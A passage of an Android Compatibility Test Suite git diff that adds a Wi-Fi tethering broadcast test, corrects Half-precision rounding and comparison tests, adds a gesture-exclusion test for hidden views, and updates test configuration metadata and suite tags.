+ return isIfaceMatch(ifaceRegexs, state.mAvailable);
+ }
+
+ // This method requires a broadcast to have been recorded iff the timeout is non-zero.
+ public void expectNoActiveTethering(final int timeout) {
+ final TetherState state = pollAndAssertNoError(timeout);
+
+ if (state == null) {
+ if (timeout != 0) {
+ fail("Do not receive tethering state change broadcast");
+ }
+ return;
+ }
+
+ assertNoActiveIfaces(state);
+
+ for (final TetherState ts : mResult) {
+ assertNoErroredIfaces(ts);
+
+ assertNoActiveIfaces(ts);
+ }
+ }
+
+ private void assertNoErroredIfaces(final TetherState state) {
+ if (state == null || state.mErrored == null) return;
+
+ if (state.mErrored.size() > 0) {
+ fail("Found failed tethering interfaces: " + state.mErrored.toArray());
+ }
+ }
+
+ private void assertNoActiveIfaces(final TetherState state) {
+ if (state.mActive != null && state.mActive.size() > 0) {
+ fail("Found active tethering interface: " + state.mActive.toArray());
+ }
+ }
+ }
+
+ private class OnStartTetheringCallback extends
+ ConnectivityManager.OnStartTetheringCallback {
+ @Override
+ public void onTetheringStarted() {
+ // Do nothing, TetherChangeReceiver will wait until it receives the broadcast.
+ }
+
+ @Override
+ public void onTetheringFailed() {
+ fail("startTethering fail");
+ }
+ }
+
+ private static boolean isIfaceMatch(final String[] ifaceRegexs,
+ final ArrayList<String> ifaces) {
+ if (ifaceRegexs == null) fail("ifaceRegexs should not be null");
+
+ if (ifaces == null) return false;
+
+ for (String s : ifaces) {
+ for (String regex : ifaceRegexs) {
+ if (s.matches(regex)) {
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
+ @Test
+ public void testStartTetheringWithStateChangeBroadcast() throws Exception {
+ if (!mCM.isTetheringSupported()) return;
+
+ final String[] wifiRegexs = mCM.getTetherableWifiRegexs();
+ if (wifiRegexs.length == 0) return;
+
+ mTetherChangeReceiver.expectNoActiveTethering(0 /** timeout */);
+
+ final OnStartTetheringCallback startTetheringCallback = new OnStartTetheringCallback();
+ mCM.startTethering(ConnectivityManager.TETHERING_WIFI, true, startTetheringCallback);
+ mTetherChangeReceiver.expectActiveTethering(wifiRegexs);
+
+ mCM.stopTethering(ConnectivityManager.TETHERING_WIFI);
+ mTetherChangeReceiver.expectNoActiveTethering(DEFAULT_TIMEOUT_MS);
+ }
+}
diff --git a/tests/tests/text/Android.bp b/tests/tests/text/Android.bp
index a8080b0..f3d34bf 100644
--- a/tests/tests/text/Android.bp
+++ b/tests/tests/text/Android.bp
@@ -48,5 +48,6 @@
"cts",
"vts",
"general-tests",
+ "mts",
],
}
diff --git a/tests/tests/text/AndroidTest.xml b/tests/tests/text/AndroidTest.xml
index e57449b..2af8059 100644
--- a/tests/tests/text/AndroidTest.xml
+++ b/tests/tests/text/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTextTestCases.apk" />
diff --git a/tests/tests/text/TEST_MAPPING b/tests/tests/text/TEST_MAPPING
index cc40b03..05e9696 100644
--- a/tests/tests/text/TEST_MAPPING
+++ b/tests/tests/text/TEST_MAPPING
@@ -2,6 +2,9 @@
"presubmit": [
{
"name": "CtsTextTestCases"
+ },
+ {
+ "name": "minikin_tests"
}
]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/tools/processors/view_inspector/AndroidTest.xml b/tests/tests/tools/processors/view_inspector/AndroidTest.xml
index 8745e65..02be709 100644
--- a/tests/tests/tools/processors/view_inspector/AndroidTest.xml
+++ b/tests/tests/tools/processors/view_inspector/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/uidisolation/AndroidTest.xml b/tests/tests/uidisolation/AndroidTest.xml
index 3f98221..195ebd0 100644
--- a/tests/tests/uidisolation/AndroidTest.xml
+++ b/tests/tests/uidisolation/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
index ab5af62..83b09c1 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
@@ -223,6 +223,7 @@
mBitmapAsserter.assertBitmapsAreSimilar(idealBitmap, testCaseBitmap, bitmapComparer,
getName(), testCase.getDebugString());
}
+ getActivity().reset();
}
/**
@@ -271,6 +272,7 @@
getName(), testCase.getDebugString());
}
}
+ getActivity().reset();
}
/**
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.kt b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.kt
index 8176ba9..a5d40cf 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.kt
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.kt
@@ -16,7 +16,6 @@
package android.uirendering.cts.testinfrastructure
import android.app.Activity
-import android.app.UiModeManager
import android.content.pm.ActivityInfo
import android.content.res.Configuration
import android.graphics.Point
@@ -216,8 +215,8 @@
override fun onPause() {
super.onPause()
- mViewInitializer?.run {
- teardownView()
+ if (mViewInitializer != null) {
+ throw IllegalStateException("Failed to reset() after running test")
}
}
diff --git a/tests/tests/util/src/android/util/cts/HalfTest.java b/tests/tests/util/src/android/util/cts/HalfTest.java
index 62662d0..59e8774 100644
--- a/tests/tests/util/src/android/util/cts/HalfTest.java
+++ b/tests/tests/util/src/android/util/cts/HalfTest.java
@@ -256,6 +256,13 @@
assertEquals(-124.0f, toFloat(Half.ceil(toHalf(-124.7f))), 1e-6f);
assertEquals(125.0f, toFloat(Half.ceil(toHalf(124.2f))), 1e-6f);
assertEquals(-124.0f, toFloat(Half.ceil(toHalf(-124.2f))), 1e-6f);
+ // ceil for NaN values
+ // These tests check whether the current ceil implementation achieves
+ // bit level compatibility with the hardware implementation (ARM64).
+ assertShortEquals((short) 0x7e01, Half.ceil((short) 0x7c01));
+ assertShortEquals((short) 0x7f00, Half.ceil((short) 0x7d00));
+ assertShortEquals((short) 0xfe01, Half.ceil((short) 0xfc01));
+ assertShortEquals((short) 0xff00, Half.ceil((short) 0xfd00));
}
@Test
@@ -340,12 +347,23 @@
assertShortEquals(NEGATIVE_ZERO, Half.round(toHalf(-0.2f)));
assertEquals(1.0f, toFloat(Half.round(toHalf(0.7f))), 1e-6f);
assertEquals(-1.0f, toFloat(Half.round(toHalf(-0.7f))), 1e-6f);
- assertEquals(1.0f, toFloat(Half.round(toHalf(0.5f))), 1e-6f);
- assertEquals(-1.0f, toFloat(Half.round(toHalf(-0.5f))), 1e-6f);
+ assertEquals(0.0f, toFloat(Half.round(toHalf(0.5f))), 1e-6f);
+ assertEquals(-0.0f, toFloat(Half.round(toHalf(-0.5f))), 1e-6f);
+ assertEquals(2.0f, toFloat(Half.round(toHalf(1.5f))), 1e-6f);
+ assertEquals(-2.0f, toFloat(Half.round(toHalf(-1.5f))), 1e-6f);
+ assertEquals(1022.0f, toFloat(Half.round(toHalf(1022.5f))), 1e-6f);
+ assertEquals(-1022.0f, toFloat(Half.round(toHalf(-1022.5f))), 1e-6f);
assertEquals(125.0f, toFloat(Half.round(toHalf(124.7f))), 1e-6f);
assertEquals(-125.0f, toFloat(Half.round(toHalf(-124.7f))), 1e-6f);
assertEquals(124.0f, toFloat(Half.round(toHalf(124.2f))), 1e-6f);
assertEquals(-124.0f, toFloat(Half.round(toHalf(-124.2f))), 1e-6f);
+ // round for NaN values
+ // These tests check whether the current round implementation achieves
+ // bit level compatibility with the hardware implementation (ARM64).
+ assertShortEquals((short) 0x7e01, Half.round((short) 0x7c01));
+ assertShortEquals((short) 0x7f00, Half.round((short) 0x7d00));
+ assertShortEquals((short) 0xfe01, Half.round((short) 0xfc01));
+ assertShortEquals((short) 0xff00, Half.round((short) 0xfd00));
}
@Test
@@ -388,7 +406,7 @@
@Test
public void lessEquals() {
- assertTrue(Half.less(NEGATIVE_INFINITY, POSITIVE_INFINITY));
+ assertTrue(Half.lessEquals(NEGATIVE_INFINITY, POSITIVE_INFINITY));
assertTrue(Half.lessEquals(MAX_VALUE, POSITIVE_INFINITY));
assertFalse(Half.lessEquals(POSITIVE_INFINITY, MAX_VALUE));
assertFalse(Half.lessEquals(LOWEST_VALUE, NEGATIVE_INFINITY));
@@ -403,7 +421,7 @@
assertFalse(Half.lessEquals(toHalf(12.4f), toHalf(12.3f)));
assertFalse(Half.lessEquals(toHalf(-12.3f), toHalf(-12.4f)));
assertTrue(Half.lessEquals(toHalf(-12.4f), toHalf(-12.3f)));
- assertTrue(Half.less(MIN_VALUE, (short) 0x3ff));
+ assertTrue(Half.lessEquals(MIN_VALUE, (short) 0x3ff));
assertTrue(Half.lessEquals(NEGATIVE_INFINITY, NEGATIVE_INFINITY));
assertTrue(Half.lessEquals(POSITIVE_INFINITY, POSITIVE_INFINITY));
assertTrue(Half.lessEquals(toHalf(12.12356f), toHalf(12.12356f)));
@@ -447,11 +465,11 @@
assertFalse(Half.greaterEquals(toHalf(12.3f), toHalf(12.4f)));
assertFalse(Half.greaterEquals(toHalf(-12.4f), toHalf(-12.3f)));
assertTrue(Half.greaterEquals(toHalf(-12.3f), toHalf(-12.4f)));
- assertTrue(Half.greater((short) 0x3ff, MIN_VALUE));
- assertTrue(Half.lessEquals(NEGATIVE_INFINITY, NEGATIVE_INFINITY));
- assertTrue(Half.lessEquals(POSITIVE_INFINITY, POSITIVE_INFINITY));
- assertTrue(Half.lessEquals(toHalf(12.12356f), toHalf(12.12356f)));
- assertTrue(Half.lessEquals(toHalf(-12.12356f), toHalf(-12.12356f)));
+ assertTrue(Half.greaterEquals((short) 0x3ff, MIN_VALUE));
+ assertTrue(Half.greaterEquals(NEGATIVE_INFINITY, NEGATIVE_INFINITY));
+ assertTrue(Half.greaterEquals(POSITIVE_INFINITY, POSITIVE_INFINITY));
+ assertTrue(Half.greaterEquals(toHalf(12.12356f), toHalf(12.12356f)));
+ assertTrue(Half.greaterEquals(toHalf(-12.12356f), toHalf(-12.12356f)));
}
@Test
diff --git a/tests/tests/view/TEST_MAPPING b/tests/tests/view/TEST_MAPPING
new file mode 100644
index 0000000..279657d
--- /dev/null
+++ b/tests/tests/view/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+ "presubmit": [
+ {
+ "name": "minikin_tests"
+ }
+ ]
+}
diff --git a/tests/tests/view/sdk28/AndroidTest.xml b/tests/tests/view/sdk28/AndroidTest.xml
index bec8054..70a17ea 100644
--- a/tests/tests/view/sdk28/AndroidTest.xml
+++ b/tests/tests/view/sdk28/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsViewTestCasesSdk28.apk" />
diff --git a/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java b/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
index 423f3b7..25312e7 100644
--- a/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
+++ b/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
@@ -201,9 +201,62 @@
assertTrue("set rects timeout", setter[0].await(3, SECONDS));
}
+ @Test
+ public void ignoreHiddenViewRects() throws Throwable {
+ final Activity activity = mActivityRule.getActivity();
+ final View contentView = activity.findViewById(R.id.abslistview_root);
+ final List<Rect> dummyLocalExclusionRects = Lists.newArrayList(new Rect(0, 0, 5, 5));
+ final List<Rect> dummyWindowExclusionRects = new ArrayList<>();
+
+ mActivityRule.runOnUiThread(() -> {
+ final View v = activity.findViewById(R.id.animating_view);
+ int[] point = new int[2];
+ v.getLocationInWindow(point);
+ for (Rect r : dummyLocalExclusionRects) {
+ Rect offsetR = new Rect(r);
+ offsetR.offsetTo(point[0], point[1]);
+ dummyWindowExclusionRects.add(offsetR);
+ }
+ });
+
+ // Set an exclusion rect on the animating view, ensure it's reported
+ final GestureExclusionLatcher[] setLatch = new GestureExclusionLatcher[1];
+ mActivityRule.runOnUiThread(() -> {
+ final View v = activity.findViewById(R.id.animating_view);
+ setLatch[0] = GestureExclusionLatcher.watching(v.getViewTreeObserver());
+ v.setSystemGestureExclusionRects(dummyLocalExclusionRects);
+ });
+ assertTrue("set rects timeout", setLatch[0].await(3, SECONDS));
+ assertEquals("returned rects as expected", dummyWindowExclusionRects,
+ setLatch[0].getLastReportedRects());
+
+ // Hide the content view, ensure that the reported rects are null for the child view
+ final GestureExclusionLatcher[] updateHideLatch = new GestureExclusionLatcher[1];
+ mActivityRule.runOnUiThread(() -> {
+ final View v = activity.findViewById(R.id.animating_view);
+ updateHideLatch[0] = GestureExclusionLatcher.watching(v.getViewTreeObserver());
+ contentView.setVisibility(View.INVISIBLE);
+ });
+ assertTrue("set rects timeout", updateHideLatch[0].await(3, SECONDS));
+ assertEquals("returned rects as expected", Collections.EMPTY_LIST,
+ updateHideLatch[0].getLastReportedRects());
+
+ // Show the content view again, ensure that the reported rects are valid for the child view
+ final GestureExclusionLatcher[] updateShowLatch = new GestureExclusionLatcher[1];
+ mActivityRule.runOnUiThread(() -> {
+ final View v = activity.findViewById(R.id.animating_view);
+ updateShowLatch[0] = GestureExclusionLatcher.watching(v.getViewTreeObserver());
+ contentView.setVisibility(View.VISIBLE);
+ });
+ assertTrue("set rects timeout", updateShowLatch[0].await(3, SECONDS));
+ assertEquals("returned rects as expected", dummyWindowExclusionRects,
+ updateShowLatch[0].getLastReportedRects());
+ }
+
private static class GestureExclusionLatcher implements Consumer<List<Rect>> {
private final CountDownLatch mLatch = new CountDownLatch(1);
private final ViewTreeObserver mVto;
+ private List<Rect> mLastReportedRects = Collections.EMPTY_LIST;
public static GestureExclusionLatcher watching(ViewTreeObserver vto) {
final GestureExclusionLatcher latcher = new GestureExclusionLatcher(vto);
@@ -219,8 +272,13 @@
return mLatch.await(time, unit);
}
+ public List<Rect> getLastReportedRects() {
+ return mLastReportedRects;
+ }
+
@Override
public void accept(List<Rect> rects) {
+ mLastReportedRects = rects;
mLatch.countDown();
mVto.removeOnSystemGestureExclusionRectsChangedListener(this);
}
diff --git a/tests/tests/webkit/AndroidTest.xml b/tests/tests/webkit/AndroidTest.xml
index a25f80b..deefe3e 100644
--- a/tests/tests/webkit/AndroidTest.xml
+++ b/tests/tests/webkit/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/widget/res/layout/magnifier_activity_centered_view_layout.xml b/tests/tests/widget/res/layout/magnifier_activity_centered_view_layout.xml
index bd5fd82..1a11740 100644
--- a/tests/tests/widget/res/layout/magnifier_activity_centered_view_layout.xml
+++ b/tests/tests/widget/res/layout/magnifier_activity_centered_view_layout.xml
@@ -23,7 +23,7 @@
android:gravity="center" >
<FrameLayout
android:id="@+id/magnifier_centered_view"
- android:layout_width="120dp"
+ android:layout_width="100dp"
android:layout_height="56dp"
android:background="@android:color/holo_blue_bright" />
</LinearLayout>
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 72b5af8..a6c7af3 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -22,6 +22,7 @@
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -274,6 +275,8 @@
@Test
public void testAccessMargin() throws Throwable {
+ assumeFalse("Skipping test: Auto does not support toast with margin", isCar());
+
makeToast();
View view = mToast.getView();
assertFalse(view.getLayoutParams() instanceof WindowManager.LayoutParams);
@@ -335,6 +338,8 @@
@Test
public void testAccessGravity() throws Throwable {
+ assumeFalse("Skipping test: Auto does not support toast with gravity", isCar());
+
makeToast();
runOnMainAndDrawSync(mToast.getView(), () -> {
mToast.setGravity(Gravity.CENTER, 0, 0);
@@ -515,4 +520,9 @@
throw new RuntimeException(t);
}
}
+
+ private boolean isCar() {
+ PackageManager pm = mContext.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ }
}
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index b574612..82ea994 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk
@@ -38,7 +38,7 @@
LOCAL_PACKAGE_NAME := CtsDeviceInfo
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts mts
include $(BUILD_CTS_DEVICE_INFO_PACKAGE)